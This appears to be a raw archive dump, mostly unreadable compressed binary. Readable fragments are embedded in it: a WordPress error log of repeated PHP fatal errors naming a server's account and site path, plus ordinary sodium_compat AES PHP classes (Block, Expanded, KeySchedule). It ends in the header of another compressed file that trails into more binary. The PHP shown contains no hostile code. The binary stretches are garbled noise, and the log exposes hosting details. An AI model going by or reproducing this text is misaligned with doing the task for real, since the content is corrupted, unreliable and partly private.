yr��y���2��Hoi�,������N�)2�4�c��סN�*��<wt��A�M��vj��о*á�k���FC�7�y����&*�e$���/������ZC:�}���{x���TP5Ic�D���>����S?�SN������p����G+�z����&�Mu%�b�����0׏��,�w(0�w�>�g�Vs|ɇ�T�6������<���`�F��hD����$*6o�'����@����+��!)#�c���\�ƧѦ�	]��٤�қ�w2�JK���4�OO풞��ZD�w��� �{�=|��)E�TT';�lN��tT�=ӬX`����Ȧ|ԝtڕqxQ�b>�l�'�[o,�áF�g�s�q��5�6m�N`���m�8�`5�j)+�9;�R�o3N�m�D 8�"R�4�}%�r|i���0�����e�3������腄����ʫ�}���1I碗��uh����H� K+��������%e��f���brž����O�U�y7Hy�$���_v��=�������hn)��_���5���`��I�t�u�	��\�{y��[~M#�2���ch�y���?�1�p���9[$�Y��'��@9
+`H�
��
�Iў�s����jO�9-�+�:+�9�6_s��5�fjI���x�G���T���t���1��g��51�<\�1���L��*G���5ix;��~so��֪n�6H	:~xS�
.?e��O������٘�\L��@ɿ�z�"qm�9$��P4�k�~K�OځC�it���ߌ���,��������3��T݋��r���;��6��q/���„���V��Єw3G�,��g���ٻ���M0w��]!kW������T2l�%��;�G#3�Ua�"�N�J�T(�9)ON"8g���l���.[*.�G%2+Ʋ		w��Sxym�->�[��3C4v��Q�ްx�vo�
!}�rfz�UΒ���O}�ȓ=Q�Y=d���J��yh"ݑ8b�<�W��uH��<�d�S#����!cd��Ȭ������E$tA"��X���BW�k��8o9?j��UI�F����%S�����]���4\�p�1b~�(�JB��ѵI�.S��w��@��"Ȑ�s'��u�4_ٹ�u�zȫ}P�����x����s�����q����}Cj��KJ�V���~×�S���ں6�G`��f��s1l%	Ǻ�1K79���Z)��Y��uch�h��wc�i�b������ �K��K��6�R�嶲�5�b���
�������pC���0�|*��!���B��'N�.\ �%��:������r��PI6��U�#��*��zUa�����&�����i�C1����v��qr+��{3�M�.�#�e�J��R�/�fѶ��i�:/$�/JV<bmI?���ǁt�~|�妪�8Rws��փ�R�*%Xt��ȁ��L�I�3������J�nJL�&y��ߖ���q罐�n�d�u;����j�Ǻ�U�����FX�@_��O���6�>S�d
�q�74N��Ć�4I���nY����8��9�!k�5��-:nV�ѽ�
4L}�l��Dd�',��.w�~Ȭ��.)�G��b8��I�x�hiBwK�宯,�
9�?ϓ����Β6;���K�d��j��6�k�V��i)v������5�� j����J>�X�D�p��%�V��
T�� w`��RN�8&ട��r���q�*G�1sT�B�b�$�n��Hc��&o\ᱯ{��5���	�[��'����E	�m�k����My�SD�Ԩ�-�H�%xP�1���l���ݿ���R�N63%*�)ݡ#�:��F${�x��O�9, �JWG�\e
��mb��� g����<����ओNONb��6���&D�aڷ��W�Lѩ`I�\J�3�S���;�_�P��F;�Y�G��ՠ�^Nѐ�(B**����N���Fl~���mq�on�?S�x�߾��@Ñ-�l�9��'�:؅�l-װ���۰y<�^�#�OM*�N^�����L���Ѽ�”ǽ���RoJ�j����ޛ�Y8V�5=�V�5���=
?�\C���`֗�Ov�r���@���X{��4�(1�+ 'aϔ�WN��04y���z�DZ�5ވ-�q��~���s�C��V��:�{�z��*4*���u��2)4f����{�ܓgB�cy6��z��D5Bj�.���R���|�rfH5��J`�
���� �K�镕ŝ]��E��a���L�@��m�E)���v_֮�H��s�r�{9=��E񎊐8,���&5�S�c�p��x{�&��H��TN9m��0l�Bi���v_�9�`bu뿖D0X�]����H�gƆʿR
���0�� D5ȝ��=�my��I����%�1g"��i��~�0kk�S>w��\ߏ�Q����sX�l��ajy_��u�*���`ƻ���$��k�r�����框�8и�)1o��:�bn'�����\���R!3>�S��\Jq3CW*u$�2��Q8�{����P+�P��rr<�hJ�@q߾��*���+�`�q�p��u�"bf�>_q@�b�ߏ�ſ��qxi��^�1�&��<$
��u�+��¥l���Ũ�4N������<�c�&_L�*z,1��V�P[؜��䜾s���-=g&oVnE�^.�0�\�gF�l�Q�'?��QY���8u�"P��sn"�#Z1MԆX�$����P�v�"t���{c8�z���c����Y�U9%�<�S���>w���Fӓ�����u����׷�\%Ԧ@Ź�{�7g�В#xshɇ�5Ƿ�|�e��Uq���5tߙ���å�R�X�n��Y�E�cj�?�6;���Ԃ__�5fN��
�Oq��C�
c��k��*�1����j��<���ni��(*��^�6f�]Wì2��\���.D*�|2�����+����o�~�l�<�&�/��dR�2	FS�Q�i����4��2"I3u����t,L�8�]����0.�	
�*�Ur�YD*$%�F���=����٤�k��t��"",%=\�CD�J��E#�0GʪX�1�=��_e��u�[��f˕h����^`
�&K�v��%���s�6��w|y�.��v�&��JI��ʗ�Y�he@#��F�[ϫ�^2�����DٗM��l�������v����:w�_��o\�T�
�hr�����Fjw<USE�&?����1��βϖL1��H(���Y9�H�j��v@j��I=�Ý	�r��Lc��[>6���|C}��QFR5�S�7�R�.���3���p|c�g�͝�V��������Oi�����3��c�>\�EJd���M�22A�@&�Q�]d��'76����m�
��,���a�o���Cp�Ħ��#����Y}�nx���:�k�*EWƿ��&�{LW�ea�*��W~w}?<~}/��ھ���{
_pt�J�o:��˜
D�AN���wI�UAv��2W���ј��T��<KZ�v���Y`�p����N~<�?b�)������uf����{�����?�Ƨ�Š�kĊ۩0��X�:�K�4;��	y2zX��u�L��\��{^��Jk����g_|{��_E����l:8���O�H7�?a�4�2P�V���u�g�N�r�v@�̝��n�+��Gj�n��j��{꿬��Ƨ��G���y�O�(��y�8�I�O��.�"J��
^��
@�~�ot�'�i�c#���i���f�r�Ęp�8�$�C�����:*5��xg��5׮�m�$^�T�ڸ�Y��_�v~�L!c��f�W�?*���"�k��e_���������J��\�t��T^|�S����
o��$���C����no�3�|��R�,�X��Kn�_���ο8�e�0�	��h����<��� ��xb�8��ʶd��
��x8$���>�
�}Ə��#��Ƙ����5�
��k������ޑTw;�?4V`��a������R��ɰ�9,P�4DG�-����N"@ט�����o���v�,_�O��4��r��$��=��R�鶒w���pqd�=�Ɍ(�5Zm��r����ox[E.;�T�=/y�~�u�j^ӁJ����P�F��~��c���=�S�{�����F/��q?��J&�%?�l�
ܪ�6�\���+�?�Z;b����Ƈ��r��&7?6�	�~�د�)��]c
̹�5���r�V3�q�����;I�.
�WW5{B��S���
Ys�p��kT����]�ҳd�Q��w>�N��������:��㮞��竫g ��M��@�O�׃m1�]�g�Ԃ�~8����[X���6H�QMF:�s��m��']�ce3�;ęrA�/4/����,;.d���r[�l*�P���%�����E{�=�S�f�Y71�"N��60:!��ų0��=����_D$K��F �����:=涄k��-��U�����q�x(��]��!*:ğ���� ��I0=�oP~3�lMgZL��8�'f��5���<5�YO9�Qd����q�]��&�	X!ɚr��.(�n[���ǓTW�AS�~Z	�|+��`b�zPQ�rE�b�X~y�@�-a�ɀ��̽������j�.��Ej�ʡB�
71�#�~�@��^�(A�A�����������x��K���XC��?����ɴ���CcE|��W8B~#�X%��^r�1���#�zA2��'J#��#?�k�@�'ap6�N�1O�ӷ�(LU�\5ғ��*�3�KM|	���Љw*# ����U�k��C9+;�q_A���3x��x�Q;�H\Ñ~��ޙ�Z�9j�)%�E(3�`83O��S���l��ʙ!���{έ�S0c/�lX�v]�^(��Pڀ�5���㼈�E0I}{f�hqW�G����Z���>�7�DKw��{���^�k��g��_g�ckj8J5�}� ��YV:��~����㻼p��1����T��˗J�>�����c~Ys.�������G�|嬭��6[�.��&�o��mIR|C����E��L���K?�U\�Ve��9IԽ��km�M�GTr/VGj摒l��W헰y4�q�\=˜�nĀg-�r�s���J���z~Դ�U5��J�n�/�,����G),4�T>�[S�”�l��ͬmCY7=Pk6oj|U�sk`�Q2[�V&�w�z�k�A�q�ÄH锢�+�+:p�C��R�$Sxk�U��'@��3�rU�Rl�8�'ݏ,���-���0ڋ�>�@ȼ����:�r�a�Ļ���1>#�<��f/��e[�m���4Ցv3�BgᡓM˜6cIك&��Y�+�sf����먢�i 9j�{q�ϊ��i�
��tl9�4
X0{j�Ào�t�{]fh.)ݣ�f�OT��)��ɖ�d����}a1C
i�`R
��U��(�i�Jd��bh�
PB�4�ba*����X|X��-
��[��t��'���.'f��|��y��j�Cs�Uk{V�з�t���]�A��	�8�Y��Hd��e5�y!	���#�w�z���)*9{�]ٵf^���™O����<7~�vx�/ă�:�%8�;��S �%'0���nw�#?G���,���{߆�����?����A :Xh%_g�nV(5S��B8��L��ECAf�����h��?n�s���
�I�PR����v^lH�2�a"v�k��O	��e�Y#���͟�g��ͩ��#B�6x���K�#�\�y9�����Wa���T�+W��p���̞�j��i4ջ<����5���trُ�}�&�.���+�gr��A�4�+R6UU
�.T9�^c]�>�ŧ�rb�LjX�!W:#���Y���c�����/{�?�yҖѺbw�	@-;ir�*�
?‚8�Cm��#5j$��r��o��(�;2�7:�o�e�?�5Z���>���Z��:�R��`��ߣP�Ъ��R�[k.0*�B�eT9���e��g�rTQ���`E܀{��*��D��|�?���P��Fܓ�<�er��	u�7�ܥĩ5B�5�-f�S6��$��
=	��*���P����t"vNt-���d��Fք�^�b����,�mjLJ��/������b�U�a���L�H
^f'�������'/�Czs�g������:�[����|���I����4������ׁR���R`�gq��D�z�S�K)����哘�5�M���I#�z�HH�:	�_F'<a�U��	擄R `�Pad�2���D�n}�3�G3'���T&�%
h��\��ȏ��R��p4�ǜ�g
�6I�ݒ���+�ҡ���>�����Ǘ�&�%jER)	��w�T8�7wԗ��1;ÍB,[>aO��ׂ���(w����7�,�攘��j��UT��jŅ%*dc�Ƀv�0�~?�נp�S�ۥ��S8IC�ݙ��¾&�����F-�/T�4	(qCW��^N����F�s��;s
�o?�v���!)�Lɛ	���) �9�
Py����=�6;R[dͲ;dz��	�f+Aո�q&.��E��:Iz�JK(����Ć��D���@�R�.yǨ�2��x	F��z2fU��W���:���$�3�
��#��<�����ae^��B:=�Q%�*>v����a)�Xb���f8=e}���{��"�х1k����әḚ��4�R���@����`f��2�RG­��t���T�
�ИS��L���zp���Z^��1H��
[L�'v�m)93�b���$H�ħ�1�׃�'�n%js�=xR6��
�����m�;Vj�'�L:�LFi{{��7����n��>G��֞L��*��'�Ӿ��k�%5�ʰ\�I$m?AEo=x�������D\��Jו1{��q�.Z�x�Û@�FrvQL�[VN������q�ʝ�R��wV�%0�S�oR�a�ʦ���������y`ldue����v?�Tٛ1X��X!1P�ܹ;��1�%�T����{�j^N��
\�"���ڣ�͙t��}�����^��~2�%'�T��!i�p�CA.+uE�^T�#D�v�~1��� U�˷�@�<OXk�y�>1/.w�SDCn�^\��S����H�(�44S[�v��]��錪�X����,���Θ��(����]�oM�#E����I�䨪��ڵ'�e�Di��kJeTG�У�y�J!�
/��ķ�i����W�
����E7`&�+6�b�F�� �%n��(�:��)J�zl*�L��ڎ��������ۅP�(�֛�c��L�0�R1�F}���Y)�9�ߤ[�bM��'sZ�Ow��NJ_�T�p�����,X�s�œb���x|���a��+n��,d�X�[����V��*���K�Q��⢟�}-ku�j${d=玊�ֹ�w֛�ԚߚL'��{���#�Sx�*M�z`��0�U�@��
 ���*���̥b"�~k��6���IG:#'����HG)Ќ�
\yQ4w3�'�~ ��çꇔF�쒅6�&���,4�wD?:Ly�V�M�Mg$yU����h��x�t�YWj��\��X�{�wϢ����_�b��W�;��!��8�t�s*w�n0x��F�ƚR���iM�b"w�D��k��we�^}V���~�䴖��14338/AES.zip000064400000042537151024420100006362 0ustar00PK�hd[����	error_lognu�[���[28-Oct-2025 14:07:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:12:28 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:55:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:57:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[02-Nov-2025 05:52:17 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 01:03:33 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:20:41 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:51:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:59:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Nov-2025 03:52:39 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Nov-2025 04:29:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[05-Nov-2025 06:58:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
PK�hd[�rS��(�(	Block.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_AES_Block', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_Block extends SplFixedArray
{
    /**
     * @var array<int, int>
     */
    protected $values = array();

    /**
     * @var int
     */
    protected $size;

    /**
     * @param int $size
     */
    public function __construct($size = 8)
    {
        parent::__construct($size);
        $this->size = $size;
        $this->values = array_fill(0, $size, 0);
    }

    /**
     * @return self
     */
    public static function init()
    {
        return new self(8);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     *
     * @psalm-suppress MethodSignatureMismatch
     */
    #[ReturnTypeWillChange]
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        /** @var array<int, int> $keys */

        $obj = new ParagonIE_Sodium_Core_AES_Block();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }


    /**
     * @internal You should not use this directly from another application
     *
     * @param int|null $offset
     * @param int $value
     * @return void
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (is_null($offset)) {
            $this->values[] = $value;
        } else {
            $this->values[$offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return int
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->values[$offset])) {
            $this->values[$offset] = 0;
        }
        return (int) ($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        $out = array();
        foreach ($this->values as $v) {
            $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT);
        }
        return array(implode(', ', $out));
        /*
         return array(implode(', ', $this->values));
         */
    }

    /**
     * @param int $cl low bit mask
     * @param int $ch high bit mask
     * @param int $s shift
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swapN($cl, $ch, $s, $x, $y)
    {
        static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX;
        $a = $this->values[$x] & $u32mask;
        $b = $this->values[$y] & $u32mask;
        // (x) = (a & cl) | ((b & cl) << (s));
        $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask);
        // (y) = ((a & ch) >> (s)) | (b & ch);
        $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch);
        return $this;
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap2($x, $y)
    {
        return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y);
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap4($x, $y)
    {
        return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y);
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap8($x, $y)
    {
        return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y);
    }

    /**
     * @return self
     */
    public function orthogonalize()
    {
        return $this
            ->swap2(0, 1)
            ->swap2(2, 3)
            ->swap2(4, 5)
            ->swap2(6, 7)

            ->swap4(0, 2)
            ->swap4(1, 3)
            ->swap4(4, 6)
            ->swap4(5, 7)

            ->swap8(0, 4)
            ->swap8(1, 5)
            ->swap8(2, 6)
            ->swap8(3, 7);
    }

    /**
     * @return self
     */
    public function shiftRows()
    {
        for ($i = 0; $i < 8; ++$i) {
            $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX;
            $this->values[$i] = (
                ($x & 0x000000FF)
                    | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6)
                    | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4)
                    | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2)
            ) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
        return $this;
    }

    /**
     * @param int $x
     * @return int
     */
    public static function rotr16($x)
    {
        return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16);
    }

    /**
     * @return self
     */
    public function mixColumns()
    {
        $q0 = $this->values[0];
        $q1 = $this->values[1];
        $q2 = $this->values[2];
        $q3 = $this->values[3];
        $q4 = $this->values[4];
        $q5 = $this->values[5];
        $q6 = $this->values[6];
        $q7 = $this->values[7];
        $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;

        $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0);
        $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1);
        $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2);
        $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3);
        $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4);
        $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5);
        $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6);
        $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7);
        return $this;
    }

    /**
     * @return self
     */
    public function inverseMixColumns()
    {
        $q0 = $this->values[0];
        $q1 = $this->values[1];
        $q2 = $this->values[2];
        $q3 = $this->values[3];
        $q4 = $this->values[4];
        $q5 = $this->values[5];
        $q6 = $this->values[6];
        $q7 = $this->values[7];
        $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;

        $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5);
        $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6);
        $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7);
        $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7);
        $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6);
        $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7);
        $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7);
        $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7);
        return $this;
    }

    /**
     * @return self
     */
    public function inverseShiftRows()
    {
        for ($i = 0; $i < 8; ++$i) {
            $x = $this->values[$i];
            $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & (
                ($x & 0x000000FF)
                    | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6)
                    | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4)
                    | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2)
            );
        }
        return $this;
    }
}
PK�hd[��00Expanded.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_AES_Expanded', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_Expanded extends ParagonIE_Sodium_Core_AES_KeySchedule
{
    /** @var bool $expanded */
    protected $expanded = true;
}
PK�hd[�8ĤYYKeySchedule.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_AES_KeySchedule', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_KeySchedule
{
    /** @var array<int, int> $skey -- has size 120 */
    protected $skey;

    /** @var bool $expanded */
    protected $expanded = false;

    /** @var int $numRounds */
    private $numRounds;

    /**
     * @param array $skey
     * @param int $numRounds
     */
    public function __construct(array $skey, $numRounds = 10)
    {
        $this->skey = $skey;
        $this->numRounds = $numRounds;
    }

    /**
     * Get a value at an arbitrary index. Mostly used for unit testing.
     *
     * @param int $i
     * @return int
     */
    public function get($i)
    {
        return $this->skey[$i];
    }

    /**
     * @return int
     */
    public function getNumRounds()
    {
        return $this->numRounds;
    }

    /**
     * @param int $offset
     * @return ParagonIE_Sodium_Core_AES_Block
     */
    public function getRoundKey($offset)
    {
        return ParagonIE_Sodium_Core_AES_Block::fromArray(
            array_slice($this->skey, $offset, 8)
        );
    }

    /**
     * Return an expanded key schedule
     *
     * @return ParagonIE_Sodium_Core_AES_Expanded
     */
    public function expand()
    {
        $exp = new ParagonIE_Sodium_Core_AES_Expanded(
            array_fill(0, 120, 0),
            $this->numRounds
        );
        $n = ($exp->numRounds + 1) << 2;
        for ($u = 0, $v = 0; $u < $n; ++$u, $v += 2) {
            $x = $y = $this->skey[$u];
            $x &= 0x55555555;
            $exp->skey[$v] = ($x | ($x << 1)) & ParagonIE_Sodium_Core_Util::U32_MAX;
            $y &= 0xAAAAAAAA;
            $exp->skey[$v + 1] = ($y | ($y >> 1)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
        return $exp;
    }
}
PK�hd[����	error_lognu�[���PK�hd[�rS��(�(	�Block.phpnu�[���PK�hd[��00;Expanded.phpnu�[���PK�hd[�8ĤYY�<KeySchedule.phpnu�[���PK-D14338/script-loader.php.php.tar.gz000064400000076122151024420100012476 0ustar00���zG�(:��(�e���E��LydJ�գ�t������
